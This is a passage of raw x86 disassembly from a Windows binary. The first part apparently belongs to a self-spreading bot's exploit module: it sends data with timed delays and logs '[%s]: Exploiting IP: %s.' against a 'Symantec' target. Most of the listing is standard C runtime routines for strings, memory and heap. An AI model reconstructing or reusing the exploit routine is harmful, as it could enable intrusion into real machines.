3E8h push edi call esi lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi and dword ptr [ebp-4], 0 mov edi, offset byte_4DBCCC push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_41B8CE loc_41B891: ; CODE XREF: ___:0041B8CCj mov eax, [ebp-4] movsx eax, byte_4DBCCC[eax] push eax push offset dword_43ADD8 lea eax, [ebp-20h] push 3 push eax call sub_41C360 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B55B add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-4] push edi call sub_41B9C0 cmp [ebp-4], eax pop ecx jb short loc_41B891 loc_41B8CE: ; CODE XREF: ___:0041B88Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 0FA0h call esi push 2 pop edi loc_41B8E7: ; CODE XREF: ___:0041B8FEj lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 12Ch call esi dec edi jnz short loc_41B8E7 mov edi, 7D0h push edi call esi lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B55B add esp, 0Ch push 190h call esi mov dword ptr [ebp-4], 2 loc_41B938: ; CODE XREF: ___:0041B950j push 258h call esi lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B55B add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B938 push ebx call dword_4CBA6C lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C360 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431800[eax] push 1 lea eax, dword_431800[eax] pop eax loc_41B9B7: ; CODE XREF: ___:0041B829j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B9C0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B9E0 loc_41B9CC: ; CODE XREF: sub_41B9C0+19j mov al, [ecx] inc ecx test al, al jz short loc_41BA13 test ecx, 3 jnz short loc_41B9CC add eax, 0 loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj ; sub_41B9C0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B9E0 mov eax, [ecx-4] test al, al jz short loc_41BA31 test ah, ah jz short loc_41BA27 test eax, 0FF0000h jz short loc_41BA1D test eax, 0FF000000h jz short loc_41BA13 jmp short loc_41B9E0 ; --------------------------------------------------------------------------- loc_41BA13: ; CODE XREF: sub_41B9C0+11j ; sub_41B9C0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA1D: ; CODE XREF: sub_41B9C0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA27: ; CODE XREF: sub_41B9C0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B9C0 endp ; =============== S U B R O U T I N E ======================================= sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+5809p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41BA50 or eax, 0FFFFFFFFh jmp short loc_41BA8A ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA3B+Ej test al, 83h jz short loc_41BA88 push esi call sub_41E42B push esi mov edi, eax call sub_41E3C5 push dword ptr [esi+10h] call sub_41E312 add esp, 0Ch test eax, eax jge short loc_41BA76 or edi, 0FFFFFFFFh jmp short loc_41BA88 ; --------------------------------------------------------------------------- loc_41BA76: ; CODE XREF: sub_41BA3B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA88 push eax call sub_41BA91 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA88: ; CODE XREF: sub_41BA3B+17j ; sub_41BA3B+39j ... mov eax, edi loc_41BA8A: ; CODE XREF: sub_41BA3B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41BA3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A928+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41BAF7 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_41BABD push esi call sub_41E717 pop ecx test eax, eax push esi jz short loc_41BAE9 push eax call sub_41E742 pop ecx pop ecx jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BABD: ; CODE XREF: sub_41BA91+14j cmp eax, 2 jnz short loc_41BAE8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F472 add esp, 0Ch test eax, eax jz short loc_41BAE8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F4C9 add esp, 0Ch jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj ; sub_41BA91+44j push esi loc_41BAE9: ; CODE XREF: sub_41BA91+20j push 0 push dword_4DD384 nop call near ptr 27E0000h loc_41BAF7: ; CODE XREF: sub_41BA91+Aj ; sub_41BA91+2Aj ... pop esi leave retn sub_41BA91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p ; ___:0040FA8Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BB1E xor eax, eax jmp loc_41BBC7 ; --------------------------------------------------------------------------- loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BB31 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j mov ecx, [ebp+arg_0] loc_41BB3D: ; CODE XREF: sub_41BAFA+35j ; sub_41BAFA+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BB6F mov eax, [esi+4] test eax, eax jz short loc_41BB6F cmp ecx, eax mov edi, ecx jb short loc_41BB54 mov edi, eax loc_41BB54: ; CODE XREF: sub_41BAFA+56j push edi push dword ptr [esi] push ebx call sub_41CD20 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BB6F: ; CODE XREF: sub_41BAFA+49j ; sub_41BAFA+50j cmp ecx, [ebp+arg_C] jb short loc_41BBA2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BB85 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BB85: ; CODE XREF: sub_41BAFA+80j push eax push ebx push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch test eax, eax jz short loc_41BBCC cmp eax, 0FFFFFFFFh jz short loc_41BBD2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BBA2: ; CODE XREF: sub_41BAFA+78j push esi call sub_41F8E3 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BBD6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BBBA: ; CODE XREF: sub_41BAFA+73j ; sub_41BAFA+A6j cmp [ebp+arg_0], 0 jnz loc_41BB3A mov eax, [ebp+arg_8] loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj ; sub_41BAFA+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BBD6 ; --------------------------------------------------------------------------- loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj or dword ptr [esi+0Ch], 20h loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j ; sub_41BAFA+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BBC7 sub_41BAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D9B3+35p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41BBFD push [ebp+arg_4] call sub_41BEB5 pop ecx jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41BC12 push [ebp+arg_0] call sub_41BA91 pop ecx jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BC12: ; CODE XREF: sub_41BBE2+20j mov eax, dword_4DD388 cmp eax, 3 jnz loc_41BD22 loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BCFE push [ebp+arg_0] call sub_41E717 mov ebx, eax pop ecx test ebx, ebx jz loc_41BCD9 cmp esi, dword_4DD380 ja short loc_41BC92 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41EF20 add esp, 0Ch test eax, eax jnz short loc_41BC8E push esi call sub_41EA6B mov edi, eax pop ecx test edi, edi jz short loc_41BC92 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC72 mov eax, esi loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj push eax push ebx push edi call sub_41CD20 push ebx call sub_41E717 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E742 add esp, 18h loc_41BC8E: ; CODE XREF: sub_41BBE2+74j test edi, edi jnz short loc_41BCD5 loc_41BC92: ; CODE XREF: sub_41BBE2+62j ; sub_41BBE2+81j test esi, esi jnz short loc_41BC99 push 1 pop esi loc_41BC99: ; CODE XREF: sub_41BBE2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DD384 call near ptr 27F0000h nop mov edi, eax test edi, edi jz short loc_41BCD5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41BCC1 mov eax, esi loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj push eax push ecx push edi call sub_41CD20 push [ebp+arg_0] push ebx call sub_41E742 add esp, 14h loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj ; sub_41BBE2+D0j test ebx, ebx jnz short loc_41BCFA loc_41BCD9: ; CODE XREF: sub_41BBE2+56j test esi, esi jnz short loc_41BCE0 push 1 pop esi loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 call near ptr 2890000h nop mov edi, eax loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j test edi, edi jnz short loc_41BD1B loc_41BCFE: ; CODE XREF: sub_41BBE2+43j cmp dword_4DBE48, 0 jz short loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BC20 jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj ; sub_41BBE2+123j ... mov eax, edi jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BD22: ; CODE XREF: sub_41BBE2+38j cmp eax, 2 jnz loc_41BE3D cmp esi, 0FFFFFFE0h ja short loc_41BD3F test esi, esi jbe short loc_41BD3C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD3C: ; CODE XREF: sub_41BBE2+150j push 10h pop esi loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj ; sub_41BBE2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BE1F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41F472 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BE03 cmp esi, dword_43CE74 jnb short loc_41BDC7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F83A add esp, 10h test eax, eax jz short loc_41BD8D mov edi, [ebp+arg_0] jmp short loc_41BDBF ; --------------------------------------------------------------------------- loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j push edi call sub_41F50E mov edi, eax pop ecx test edi, edi jz short loc_41BDC7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDA6 mov eax, esi loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j test edi, edi jnz loc_41BD1B loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj ; sub_41BBE2+1B6j push esi push 0 push dword_4DD384 nop call near ptr 27F0000h mov edi, eax test edi, edi jz short loc_41BE1F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDE8 mov eax, esi loc_41BDE8: ; CODE XREF: sub_41BBE2+202j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h jmp short loc_41BE17 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj push esi push [ebp+arg_0] push 0 push dword_4DD384 call near ptr 2890000h nop mov edi, eax loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj test edi, edi jnz loc_41BD1B loc_41BE1F: ; CODE XREF: sub_41BBE2+162j ; sub_41BBE2+1F8j cmp dword_4DBE48, 0 jz loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BD3F jmp short loc_41BE7B ; --------------------------------------------------------------------------- loc_41BE3D: ; CODE XREF: sub_41BBE2+143j ; sub_41BBE2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BE67 test esi, esi jnz short loc_41BE4B push 1 pop esi loc_41BE4B: ; CODE XREF: sub_41BBE2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 nop call near ptr 2890000h test eax, eax jnz short loc_41BE7D loc_41BE67: ; CODE XREF: sub_41BBE2+260j cmp dword_4DBE48, 0 jz short loc_41BE7D push esi call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BE3D loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj ; sub_41BBE2+134j ... xor eax, eax loc_41BE7D: ; CODE XREF: sub_41BBE2+16j ; sub_41BBE2+13Bj ... pop edi pop esi pop ebx leave retn sub_41BBE2 endp ; =============== S U B R O U T I N E ======================================= sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41FD3D test eax, eax jnz short loc_41BE8C retn ; --------------------------------------------------------------------------- loc_41BE8C: ; CODE XREF: sub_41BE82+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41FBCD add esp, 10h retn sub_41BE82 endp ; =============== S U B R O U T I N E ======================================= sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+57DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BE82 add esp, 0Ch retn sub_41BEA2 endp ; =============== S U B R O U T I N E ======================================= sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40A928+63p ... arg_0 = dword ptr 4 push dword_4DBE48 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41BEB5 endp ; =============== S U B R O U T I N E ======================================= sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap ; sub_41D9A5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BEF0 loc_41BECE: ; CODE XREF: sub_41BEC7+27j push [esp+arg_0] call sub_41BEF3 test eax, eax pop ecx jnz short locret_41BEF2 cmp [esp+arg_4], eax jz short locret_41BEF2 push [esp+arg_0] call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BECE loc_41BEF0: ; CODE XREF: sub_41BEC7+5j xor eax, eax locret_41BEF2: ; CODE XREF: sub_41BEC7+13j ; sub_41BEC7+19j retn sub_41BEC7 endp ; =============== S U B R O U T I N E ======================================= sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp arg_0 = dword ptr 4 mov eax, dword_4DD388 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BF17 cmp esi, dword_4DD380 ja short loc_41BF49 push esi call sub_41EA6B test eax, eax pop ecx jz short loc_41BF49 pop esi retn ; --------------------------------------------------------------------------- loc_41BF17: ; CODE XREF: sub_41BEF3+Dj cmp eax, 2 jnz short loc_41BF49 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BF2C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BF2F ; --------------------------------------------------------------------------- loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj push 10h pop esi loc_41BF2F: ; CODE XREF: sub_41BEF3+37j cmp esi, dword_43CE74 ja short loc_41BF56 mov eax, esi shr eax, 4 push eax call sub_41F50E test eax, eax pop ecx jnz short loc_41BF65 jmp short loc_41BF56 ; --------------------------------------------------------------------------- loc_41BF49: ; CODE XREF: sub_41BEF3+15j ; sub_41BEF3+20j ... test esi, esi jnz short loc_41BF50 push 1 pop esi loc_41BF50: ; CODE XREF: sub_41BEF3+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BF56: ; CODE XREF: sub_41BEF3+42j ; sub_41BEF3+54j push esi push 0 push dword_4DD384 nop call near ptr 27F0000h loc_41BF65: ; CODE XREF: sub_41BEF3+52j pop esi retn sub_41BEF3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BFC3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BFB7 neg ecx and ecx, 3 jz short loc_41BF99 sub edx, ecx loc_41BF93: ; CODE XREF: sub_41BF70+27j mov [edi], al inc edi dec ecx jnz short loc_41BF93 loc_41BF99: ; CODE XREF: sub_41BF70+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BFB7 rep stosd test edx, edx jz short loc_41BFBD loc_41BFB7: ; CODE XREF: sub_41BF70+18j ; sub_41BF70+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BFB7 loc_41BFBD: ; CODE XREF: sub_41BF70+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BFC3: ; CODE XREF: sub_41BF70+Aj mov eax, [esp+arg_0] retn sub_41BF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFD0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41C053 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BFF4 shr ecx, 2 jnz short loc_41C061 jmp short loc_41C015 ; --------------------------------------------------------------------------- loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj ; sub_41BFD0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41C022 test al, al jz short loc_41C02A test esi, 3 jnz short loc_41BFF4 mov ebx, ecx shr ecx, 2 jnz short loc_41C061 loc_41C010: ; CODE XREF: sub_41BFD0+8Fj and ebx, 3 jz short loc_41C022 loc_41C015: ; CODE XREF: sub_41BFD0+22j ; sub_41BFD0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41C04E dec ebx jnz short loc_41C015 loc_41C022: ; CODE XREF: sub_41BFD0+2Bj ; sub_41BFD0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj test edi, 3 jz short loc_41C044 loc_41C032: ; CODE XREF: sub_41BFD0+72j mov [edi], al inc edi dec ecx jz loc_41C0C6 test edi, 3 jnz short loc_41C032 loc_41C044: ; CODE XREF: sub_41BFD0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41C0B7 loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj ; sub_41BFD0+F4j mov [edi], al inc edi loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj dec ebx jnz short loc_41C04B pop ebx pop esi loc_41C053: ; CODE XREF: sub_41BFD0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C059: ; CODE XREF: sub_41BFD0+A9j ; sub_41BFD0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41C010 loc_41C061: ; CODE XREF: sub_41BFD0+20j ; sub_41BFD0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C059 test dl, dl jz short loc_41C0AB test dh, dh jz short loc_41C0A1 test edx, 0FF0000h jz short loc_41C097 test edx, 0FF000000h jnz short loc_41C059 mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C097: ; CODE XREF: sub_41BFD0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj xor edx, edx mov [edi], edx loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j ; sub_41BFD0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41C0C1 loc_41C0B7: ; CODE XREF: sub_41BFD0+79j xor eax, eax loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41C0B9 loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j and ebx, 3 jnz short loc_41C04B loc_41C0C6: ; CODE XREF: sub_41BFD0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BFD0 endp ; =============== S U B R O U T I N E ======================================= sub_41C0CE proc near ; CODE XREF: sub_41C159+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41C0D6: ; CODE XREF: sub_41C0CE+34j cmp dword_43D084, 1 jle short loc_41C0EE movzx eax, byte ptr [edi] push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C0FD ; --------------------------------------------------------------------------- loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj movzx eax, byte ptr [edi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej test eax, eax jz short loc_41C104 inc edi jmp short loc_41C0D6 ; --------------------------------------------------------------------------- loc_41C104: ; CODE XREF: sub_41C0CE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41C114 cmp esi, 2Bh jnz short loc_41C118 loc_41C114: ; CODE XREF: sub_41C0CE+3Fj movzx esi, byte ptr [edi] inc edi loc_41C118: ; CODE XREF: sub_41C0CE+44j xor ebx, ebx loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj cmp dword_43D084, 1 jle short loc_41C12F push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C13A ; --------------------------------------------------------------------------- loc_41C12F: ; CODE XREF: sub_41C0CE+53j mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj test eax, eax jz short loc_41C14B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41C11A ; --------------------------------------------------------------------------- loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41C154 neg eax loc_41C154: ; CODE XREF: sub_41C0CE+82j pop edi pop esi pop ebp pop ebx retn sub_41C0CE endp ; =============== S U B R O U T I N E ======================================= sub_41C159 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+717p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41C0CE pop ecx retn sub_41C159 endp ; --------------------------------------------------------------------------- mov eax, off_43AE1C test eax, eax jz short loc_41C16F call eax ; sub_41D124 loc_41C16F: ; CODE XREF: ___:0041C16Bj push offset dword_429028 push offset dword_429014 call sub_41C24C push offset dword_429010 push offset dword_429000 call sub_41C24C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41C1B3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41C1A2 proc near ; CODE XREF: sub_41E2C9+1Cp ; sub_422DFC+21E6p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41C1B3 add esp, 0Ch retn sub_41C1A2 endp ; =============== S U B R O U T I N E ======================================= sub_41C1B3 proc near ; CODE XREF: ___:0041C199p ; sub_41C1A2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DBE24, edi jnz short loc_41C1D0 push [esp+4+arg_0] nop call near ptr 2730554h push eax nop call near ptr 2720A41h loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DBE20, edi mov byte_4DBE1C, bl jnz short loc_41C224 mov eax, dword_4DD39C test eax, eax jz short loc_41C213 mov ecx, dword_4DD398 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41C212 loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj mov eax, [esi] test eax, eax jz short loc_41C207 call eax loc_41C207: ; CODE XREF: sub_41C1B3+50j sub esi, 4 cmp esi, dword_4DD39C jnb short loc_41C1FF loc_41C212: ; CODE XREF: sub_41C1B3+4Aj pop esi loc_41C213: ; CODE XREF: sub_41C1B3+3Cj push offset dword_429034 push offset dword_42902C call sub_41C24C pop ecx pop ecx loc_41C224: ; CODE XREF: sub_41C1B3+33j push offset dword_429040 push offset dword_429038 call sub_41C24C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41C24A push [esp+4+arg_0] mov dword_4DBE24, edi nop call near ptr 77E75CB5h loc_41C24A: ; CODE XREF: sub_41C1B3+85j pop edi retn sub_41C1B3 endp ; =============== S U B R O U T I N E ======================================= sub_41C24C proc near ; CODE XREF: ___:0041C179p ; ___:0041C188p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41C251: ; CODE XREF: sub_41C24C+16j cmp esi, [esp+4+arg_4] jnb short loc_41C264 mov eax, [esi] test eax, eax jz short loc_41C25F call eax loc_41C25F: ; CODE XREF: sub_41C24C+Fj add esi, 4 jmp short loc_41C251 ; --------------------------------------------------------------------------- loc_41C264: ; CODE XREF: sub_41C24C+9j pop esi retn sub_41C24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C266 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 